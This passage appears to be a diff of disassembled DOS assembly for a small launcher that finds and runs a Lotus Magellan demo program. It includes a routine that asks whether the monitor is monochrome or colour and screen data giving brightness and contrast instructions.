+ MOV AH,3EH ; '>' + INT 21H ; DOS Services ah=function 3Eh + ; close file, bx=file handle + PUSH CS + POP ES + MOV SI,1F9H + MOV DI,24BH + CLD ; Clear direction +LOC_2: + INC DATA_8 ; (97DE:0249=0FCH) + LODSB ; String [si] to al + STOSB ; Store al to es:[di] + OR AL,AL ; Zero ? + JNZ LOC_2 ; Jump if not zero + SUB DI,5 + MOV SI,2D7H + MOV CX,1 + ADD DATA_8,CL ; (97DE:0249=0FCH) + REP MOVSB ; Rep when cx >0 Mov [si] to es:[di] + POPF ; Pop flags + JC LOC_3 ; Jump if carry Set + MOV SI,2D8H + MOV CX,0AH + ADD DATA_8,CL ; (97DE:0249=0FCH) + REP MOVSB ; Rep when cx >0 Mov [si] to es:[di] +LOC_3: + MOV BYTE PTR [DI],0DH + MOV AX,1A7H + CALL SUB_4 ; (0495) + JC LOC_4 ; Jump if carry Set + MOV BX,AX + MOV AH,3EH ; '>' + INT 21H ; DOS Services ah=function 3Eh + ; close file, bx=file handle + MOV BX,SP + ADD BX,0FH + MOV CL,4 + SHR BX,CL ; Shift w/zeros fill + PUSH CS + POP ES + MOV AH,4AH ; 'J' + INT 21H ; DOS Services ah=function 4Ah + ; change mem allocation, bx=siz + MOV AX,CS + MOV ES,AX + MOV DATA_10,AX ; (97DE:02E6=0) + MOV DATA_11,AX ; (97DE:02EA=0) + MOV DATA_12,AX ; (97DE:02EE=0) + MOV AX,4B00H + MOV DX,1F9H + MOV BX,2E2H + INT 21H ; DOS Services ah=function 4Bh + ; run progm @ds:dx, parm @es:bx + MOV AX,CS + MOV SS,AX + MOV SP,39DH + MOV DS,AX + JNC LOC_6 ; Jump if carry=0 +LOC_4: + MOV DX,1C1H +LOC_5: + MOV AH,9 + INT 21H ; DOS Services ah=function 09h + ; display char string at ds:dx +LOC_6: + MOV AX,4C00H + INT 21H ; DOS Services ah=function 4Ch + ; terminate with al=return code +DATA_13 DB 0 +INT_23H_ENTRY ENDP + + +; +; SUBROUTINE +; + +SUB_3 PROC NEAR + MOV AH,0FH + INT 10H ; Video display ah=functn 0Fh + ; get state, al=mode, bh=page + MOV DATA_13,AL ; (97DE:03B0=0) + CMP AL,2 + JAE LOC_7 ; Jump if above or = + ADD AL,2 + MOV AH,0 + INT 10H ; Video display ah=functn 00h + ; set display mode in al +LOC_7: + XOR DX,DX ; Zero register + MOV SI,5A0H + CMP DATA_13,7 ; (97DE:03B0=0) + JNE LOC_8 ; Jump if not equal + MOV SI,1540H +LOC_8: + PUSH DX + PUSH SI + MOV AH,2 + XOR BH,BH ; Zero register + INT 10H ; Video display ah=functn 02h + ; set cursor location in dx + POP SI + CLD ; Clear direction + LODSW ; String [si] to ax + PUSH SI + MOV BL,AH + XOR BH,BH ; Zero register + MOV AH,9 + MOV CX,1 + INT 10H ; Video display ah=functn 09h + ; set char al & attrib bl @curs + POP SI + POP DX + INC DX + CMP DL,50H ; 'P' + JB LOC_8 ; Jump if below + INC DH + MOV DL,0 + CMP DH,19H + JB LOC_8 ; Jump if below + MOV AH,2 + MOV BH,0 + MOV DX,1900H + INT 10H ; Video display ah=functn 02h + ; set cursor location in dx +LOC_9: + MOV AX,0C08H + INT 21H ; DOS Services ah=function 0Ch + ; clear keybd buffer & input al + CMP DATA_13,7 ; (97DE:03B0=0) + JE LOC_11 ; Jump if equal + CMP AL,4DH ; 'M' + JE LOC_11 ; Jump if equal + CMP AL,6DH ; 'm' + JE LOC_11 ; Jump if equal + CMP AL,43H ; 'C' + JE LOC_10 ; Jump if equal + CMP AL,63H ; 'c' + JE LOC_10 ; Jump if equal + MOV AX,0E07H + XOR BL,BL ; Zero register + INT 10H ; Video display ah=functn 0Eh + ; write char al, teletype mode + JMP SHORT LOC_9 ; (0402) +LOC_10: + STC ; Set carry flag + JMP SHORT LOC_12 ; (042B) +LOC_11: + CLC ; Clear carry flag +LOC_12: + PUSHF ; Push flags + MOV AX,600H + MOV BH,7 + XOR CX,CX ; Zero register + MOV DX,184FH + INT 10H ; Video display ah=functn 06h + ; scroll up, al=lines + MOV AH,2 + MOV BH,0 + XOR DX,DX ; Zero register + INT 10H ; Video display ah=functn 02h + ; set cursor location in dx + POPF ; Pop flags + RETN +SUB_3 ENDP + + DB 81 DUP (0) +DATA_15 DW 0 + +; +; SUBROUTINE +; + +SUB_4 PROC NEAR + MOV DATA_15,AX ; (97DE:0493=0) + MOV DI,443H + CALL SUB_5 ; (0529) + JNC LOC_RET_18 ; Jump if carry=0 + MOV ES,DS:DATA_1E ; (97DE:002C=0) + XOR SI,SI ; Zero register + CMP BYTE PTR ES:[SI],50H ; 'P' + JE LOC_21 ; Jump if equal +LOC_13: + CMP WORD PTR ES:[SI],5000H + JE LOC_20 ; Jump if equal +LOC_14: + INC SI + CMP WORD PTR ES:[SI-1],0 + JNE LOC_13 ; Jump if not equal + MOV AH,30H ; '0' + INT 21H ; DOS Services ah=function 30h + ; get DOS version number ax + CMP AL,3 + JB LOC_17 ; Jump if below + MOV DI,443H + XOR CX,CX ; Zero register +LOC_15: + MOV AL,ES:[SI+3] + INC SI + MOV [DI],AL + INC DI + INC CX + OR AL,AL ; Zero ? + JNZ LOC_15 ; Jump if not zero + +LOCLOOP_16: + CMP BYTE PTR [DI-1],3AH ; ':' + JE LOC_19 ; Jump if equal + CMP BYTE PTR [DI-1],5CH ; '\' + JE LOC_19 ; Jump if equal + DEC DI + LOOP LOCLOOP_16 ; Loop if cx > 0 + +LOC_17: + STC ; Set carry flag + +LOC_RET_18: + RETN +LOC_19: + CALL SUB_5 ; (0529) + RETN +LOC_20: + INC SI +LOC_21: + INC SI + CMP WORD PTR ES:[SI],5441H + JNE LOC_14 ; Jump if not equal + INC SI + INC SI + CMP WORD PTR ES:[SI],3D48H + JNE LOC_14 ; Jump if not equal + INC SI + INC SI +LOC_22: + MOV DI,443H +LOC_23: + MOV AL,ES:[SI] + CMP AL,0 + JE LOC_24 ; Jump if equal + INC SI + MOV [DI],AL + INC DI + CMP AL,3BH ; ';' + JNE LOC_23 ; Jump if not equal + DEC DI + CMP DI,443H + JE LOC_22 ; Jump if equal + CALL SUB_5 ; (0529) + JC LOC_22 ; Jump if carry Set + RETN +LOC_24: + CMP DI,443H + JE LOC_14 ; Jump if equal + CALL SUB_5 ; (0529) + JC LOC_14 ; Jump if carry Set + RETN +SUB_4 ENDP + + +; +; SUBROUTINE +; + +SUB_5 PROC NEAR + MOV WORD PTR [DI],0 + MOV BX,445H + MOV AX,[BX-2] + CMP AH,3AH ; ':' + JE LOC_25 ; Jump if equal + MOV AH,19H + INT 21H ; DOS Services ah=function 19h + ; get default drive al (0=a:) + CBW ; Convrt byte to word + ADD AX,3A41H + DEC BX + DEC BX +LOC_25: + CMP AL,5AH ; 'Z' + JBE LOC_26 ; Jump if below or = + SUB AL,20H ; ' ' +LOC_26: + MOV WORD PTR DATA_7,AX ; (97DE:01F9=0) + MOV DI,1FBH + CMP BYTE PTR [BX],5CH ; '\' + JE LOC_28 ; Jump if equal + MOV BYTE PTR [DI],5CH ; '\' + INC DI + SUB AL,40H ; '@' + MOV DL,AL + MOV AH,47H ; 'G' + PUSH SI + MOV SI,DI + INT 21H ; DOS Services ah=function 47h + ; get present dir,drive dl,1=a: + POP SI + DEC DI +LOC_27: + INC DI + CMP BYTE PTR [DI],0 + JNE LOC_27 ; Jump if not equal + CMP BYTE PTR [DI-1],5CH ; '\' + JE LOC_28 ; Jump if equal + MOV BYTE PTR [DI],5CH ; '\' + INC DI +LOC_28: + MOV AL,[BX] + INC BX + MOV [DI],AL + INC DI + OR AL,AL ; Zero ? + JNZ LOC_28 ; Jump if not zero + DEC DI + CMP BYTE PTR [DI-1],5CH ; '\' + JE LOC_29 ; Jump if equal + MOV BYTE PTR [DI],5CH ; '\' + INC DI +LOC_29: + MOV BX,DATA_15 ; (97DE:0493=0) +LOC_30: + MOV AL,[BX] + INC BX + MOV [DI],AL + INC DI + OR AL,AL ; Zero ? + JNZ LOC_30 ; Jump if not zero + MOV DX,1F9H + MOV AX,3D00H + INT 21H ; DOS Services ah=function 3Dh + ; open file, al=mode,name@ds:dx + RETN +SUB_5 ENDP + + AND [BX],AL + AND [BX],AL + INT 7 + INT 7 + INT 7 + INT 7 + INT 7 + INT 7 + INT 7 + INT 7 + INT 7 + INT 7 + INT 7 + INT 7 + INT 7 + INT 7 + INT 7 + INT 7 + INT 7 + INT 7 + INT 7 + INT 7 + INT 7 + INT 7 + INT 7 + INT 7 + INT 7 + INT 7 + INT 7 + INT 7 + INT 7 + AND [BX],AL + INC DX + POP ES + INC BP + POP ES + INC SI + POP ES + DEC DI + POP ES + PUSH DX + POP ES + INC BP + POP ES + AND [BX],AL + POP CX + POP ES + DEC DI + POP ES + PUSH BP + POP ES + AND [BX],AL + INC DX + POP ES + INC BP + POP ES + INC DI + POP ES + DEC CX + POP ES + DEC SI + POP ES + AND [BX],AL + INT 7 + INT 7 + INT 7 + INT 7 + INT 7 + INT 7 + INT 7 + INT 7 + INT 7 + INT 7 + INT 7 + INT 7 + INT 7 + INT 7 + INT 7 + INT 7 + INT 7 + INT 7 + INT 7 + INT 7 + INT 7 + INT 7 + INT 7 + INT 7 + INT 7 + INT 7 + INT 7 + INT 7 + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + AND [BX],AL + DEC CX +;* POP CS ; Dangerous 8088 only + DB 0FH + DB 66H, 0FH, 20H, 0FH, 79H, 0FH + DB 6FH, 0FH, 75H, 0FH, 72H, 0FH + DB 20H, 0FH, 6DH, 0FH, 6FH, 0FH + DB 6EH, 0FH, 69H, 0FH, 74H, 0FH + DB 6FH, 0FH, 72H, 0FH, 20H, 0FH + DB 69H, 0FH, 73H, 0FH, 3AH, 0FH + DB 20H, 0FH, 20H, 0FH, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 49H, 0FH + DB 66H, 0FH, 20H, 0FH, 79H, 0FH + DB 6FH, 0FH, 75H, 0FH, 72H, 0FH + DB 20H, 0FH, 6DH, 0FH, 6FH, 0FH + DB 6EH, 0FH, 69H, 0FH, 74H, 0FH + DB 6FH, 0FH, 72H, 0FH, 20H, 0FH + DB 69H, 0FH, 73H, 0FH, 3AH, 0FH + DB 20H, 0FH, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 0FH, 20H, 0FH + DB 20H, 0FH, 20H, 0FH, 20H, 0FH + DB 20H, 0FH, 20H, 0FH, 20H, 0FH + DB 20H, 0FH, 20H, 0FH, 20H, 0FH + DB 20H, 0FH, 20H, 0FH, 20H, 0FH + DB 20H, 0FH, 20H, 0FH, 20H, 0FH + DB 20H, 0FH, 20H, 0FH, 20H, 0FH + DB 20H, 0FH, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 0FH, 20H, 0FH + DB 20H, 0FH, 20H, 0FH, 20H, 0FH + DB 20H, 0FH, 20H, 0FH, 20H, 0FH + DB 20H, 0FH, 20H, 0FH, 20H, 0FH + DB 20H, 0FH, 20H, 0FH, 20H, 0FH + DB 20H, 0FH, 20H, 0FH, 20H, 0FH + DB 20H, 0FH, 20H, 0FH, 20H, 0FH + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 4DH, 0FH + DB 4FH, 0FH, 4EH, 0FH, 4FH, 0FH + DB 43H, 0FH, 48H, 0FH, 52H, 0FH + DB 4FH, 0FH, 4DH, 0FH, 45H, 0FH + DB 20H, 0FH, 6FH, 0FH, 72H, 0FH + DB 20H, 0FH, 50H, 0FH, 4FH, 0FH + DB 52H, 0FH, 54H, 0FH, 41H, 0FH + DB 42H, 0FH, 4CH, 0FH, 45H, 0FH + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 0FH, 20H, 0FH, 20H, 0FH + DB 20H, 0FH, 20H, 0FH, 20H, 0FH + DB 20H, 0FH, 43H, 0FH, 4FH, 0FH + DB 4CH, 0FH, 4FH, 0FH, 52H, 0FH + DB 20H, 0FH, 20H, 0FH, 20H, 0FH + DB 20H, 0FH, 20H, 0FH, 20H, 0FH + DB 20H, 0FH, 20H, 0FH, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 0C9H, 07H,0CDH, 07H,0CDH, 07H + DB 0CDH, 07H,0CDH, 07H,0CDH, 07H + DB 0CDH, 07H,0CDH, 07H,0CDH, 07H + DB 0CDH, 07H,0CDH, 07H,0CDH, 07H + DB 0CDH, 07H,0CDH, 07H,0CDH, 07H + DB 0CDH, 07H,0CDH, 07H,0CDH, 07H + DB 0CDH, 07H,0CDH, 07H,0CDH, 07H + DB 0CDH, 07H,0CDH, 07H,0CDH, 07H + DB 0CDH, 07H,0CDH, 07H,0CDH, 07H + DB 0BBH, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 0C9H, 30H,0CDH, 30H,0CDH, 30H + DB 0CDH, 30H,0CDH, 30H,0CDH, 30H + DB 0CDH, 30H,0CDH, 30H,0CDH, 30H + DB 0CDH, 30H,0CDH, 30H,0CDH, 30H + DB 0CDH, 30H,0CDH, 30H,0CDH, 30H + DB 0CDH, 30H,0CDH, 30H,0CDH, 30H + DB 0CDH, 30H,0CDH, 30H,0CDH, 30H + DB 0CDH, 30H,0CDH, 30H,0CDH, 30H + DB 0CDH, 30H,0CDH, 30H,0CDH, 30H + DB 0BBH, 30H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H,0BAH, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H,0BAH, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H,0BAH, 30H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H,0BAH, 30H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H,0BAH, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 54H, 0FH + DB 6FH, 0FH, 20H, 0FH, 69H, 0FH + DB 6EH, 0FH, 73H, 0FH, 75H, 0FH + DB 72H, 0FH, 65H, 0FH, 20H, 0FH + DB 74H, 0FH, 68H, 0FH, 65H, 0FH + DB 20H, 0FH, 62H, 0FH, 65H, 0FH + DB 73H, 0FH, 74H, 0FH, 20H, 0FH + DB 20H, 0FH, 20H, 0FH, 20H, 0FH + DB 20H, 07H,0BAH, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H,0BAH, 30H, 20H, 07H + DB 20H, 07H, 20H, 07H, 54H, 0FH + DB 6FH, 0FH, 20H, 0FH, 69H, 0FH + DB 6EH, 0FH, 73H, 0FH, 75H, 0FH + DB 72H, 0FH, 65H, 0FH, 20H, 0FH + DB 74H, 0FH, 68H, 0FH, 65H, 0FH + DB 20H, 0FH, 62H, 0FH, 65H, 0FH + DB 73H, 0FH, 74H, 0FH, 20H, 0FH + DB 20H, 0FH, 20H, 0FH, 20H, 07H + DB 20H, 07H,0BAH, 30H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 0BAH, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 64H, 0FH, 65H, 0FH + DB 6DH, 0FH, 6FH, 0FH +DATA_16 DB 6EH ; Data table (indexed access) + DB 0FH, 73H, 0FH, 74H, 0FH, 72H + DB 0FH, 61H, 0FH, 74H, 0FH, 69H + DB 0FH, 6FH, 0FH, 6EH, 0FH, 20H + DB 0FH, 6FH, 0FH, 66H, 0FH, 20H + DB 0FH, 20H, 0FH, 20H, 0FH, 20H + DB 0FH, 20H, 0FH, 20H, 0FH, 20H + DB 07H,0BAH, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H,0BAH, 30H, 20H, 07H, 20H + DB 07H, 20H, 07H, 64H, 0FH, 65H + DB 0FH, 6DH, 0FH, 6FH, 0FH, 6EH + DB 0FH, 73H, 0FH, 74H, 0FH, 72H + DB 0FH, 61H, 0FH, 74H, 0FH, 69H + DB 0FH, 6FH, 0FH, 6EH, 0FH, 20H + DB 0FH, 6FH, 0FH, 66H, 0FH, 20H + DB 0FH, 20H, 0FH, 20H, 0FH, 20H + DB 0FH, 20H, 0FH, 20H, 07H, 20H + DB 07H,0BAH, 30H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H,0BAH + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 4CH, 0FH, 6FH, 0FH, 74H + DB 0FH, 75H, 0FH, 73H, 0FH, 20H + DB 0FH, 4DH, 0FH, 61H, 0FH, 67H + DB 0FH, 65H, 0FH, 6CH, 0FH, 6CH + DB 0FH, 61H, 0FH, 6EH, 0FH, 20H + DB 0FH, 6FH, 0FH, 6EH, 0FH, 20H + DB 0FH, 61H, 0FH, 20H, 0FH, 20H + DB 0FH, 20H, 0FH, 20H, 07H,0BAH + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H,0BAH + DB 30H, 20H, 07H, 20H, 07H, 20H + DB 07H, 4CH, 0FH, 6FH, 0FH, 74H + DB 0FH, 75H, 0FH, 73H, 0FH, 20H + DB 0FH, 4DH, 0FH, 61H, 0FH, 67H + DB 0FH, 65H, 0FH, 6CH, 0FH, 6CH + DB 0FH, 61H, 0FH, 6EH, 0FH, 20H + DB 0FH, 6FH, 0FH, 6EH, 0FH, 20H + DB 0FH, 61H, 0FH, 20H, 0FH, 20H + DB 0FH, 20H, 07H, 20H, 07H,0BAH + DB 30H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H,0BAH, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 6DH + DB 0FH, 6FH, 0FH, 6EH, 0FH, 6FH + DB 0FH, 63H, 0FH, 68H, 0FH, 72H + DB 0FH, 6FH, 0FH, 6DH, 0FH, 65H + DB 0FH, 20H, 0FH, 6DH, 0FH, 6FH + DB 0FH, 6EH, 0FH, 69H, 0FH, 74H + DB 0FH, 6FH, 0FH, 72H, 0FH, 2CH + DB 0FH, 20H, 0FH, 20H, 0FH, 20H + DB 0FH, 20H, 07H,0BAH, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H,0BAH, 30H, 20H + DB 07H, 20H, 07H, 20H, 07H, 63H + DB 0FH, 6FH, 0FH, 6CH, 0FH, 6FH + DB 0FH, 72H, 0FH, 20H, 0FH, 6DH + DB 0FH, 6FH, 0FH, 6EH, 0FH, 69H + DB 0FH, 74H, 0FH, 6FH, 0FH, 72H + DB 0FH, 2CH, 0FH, 20H, 0FH, 20H + DB 0FH, 20H, 0FH, 20H, 0FH, 20H + DB 0FH, 20H, 0FH, 20H, 0FH, 20H + DB 07H, 20H, 07H,0BAH, 30H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H,0BAH, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 74H, 0FH, 75H + DB 0FH, 72H, 0FH, 6EH, 0FH, 20H + DB 0FH, 74H, 0FH, 68H, 0FH, 65H + DB 0FH, 20H, 0FH, 62H, 0FH, 72H + DB 0FH, 69H, 0FH, 67H, 0FH, 68H + DB 0FH, 74H, 0FH, 6EH, 0FH, 65H + DB 0FH, 73H, 0FH, 73H, 0FH, 20H + DB 0FH, 20H, 0FH, 20H, 0FH, 20H + DB 07H,0BAH, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H,0BAH, 30H, 20H, 07H, 20H + DB 07H, 20H, 07H, 74H, 0FH, 75H + DB 0FH, 72H, 0FH, 6EH, 0FH, 20H + DB 0FH, 74H, 0FH, 68H, 0FH, 65H + DB 0FH, 20H, 0FH, 62H, 0FH, 72H + DB 0FH, 69H, 0FH, 67H, 0FH, 68H + DB 0FH, 74H, 0FH, 6EH, 0FH, 65H + DB 0FH, 73H, 0FH, 73H, 0FH, 20H + DB 0FH, 20H, 0FH, 20H, 07H, 20H + DB 07H,0BAH, 30H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H,0BAH + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 61H, 0FH, 6EH, 0FH, 64H + DB 0FH, 20H, 0FH, 63H, 0FH, 6FH + DB 0FH, 6EH, 0FH, 74H, 0FH, 72H + DB 0FH, 61H, 0FH, 73H, 0FH, 74H + DB 0FH, 20H, 0FH, 6BH, 0FH, 6EH + DB 0FH, 6FH, 0FH, 62H, 0FH, 73H + DB 0FH, 20H, 0FH, 6FH, 0FH, 6EH + DB 0FH, 20H, 0FH, 20H, 07H,0BAH + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H,0BAH + DB 30H, 20H, 07H, 20H, 07H, 20H + DB 07H, 61H, 0FH, 6EH, 0FH, 64H + DB 0FH, 20H, 0FH, 63H, 0FH, 6FH + DB 0FH, 6EH, 0FH, 74H, 0FH, 72H + DB 0FH, 61H, 0FH, 73H, 0FH, 74H + DB 0FH, 20H, 0FH, 6BH, 0FH, 6EH + DB 0FH, 6FH, 0FH, 62H, 0FH, 73H + DB 0FH, 20H, 0FH, 6FH, 0FH, 6EH + DB 0FH, 20H, 07H, 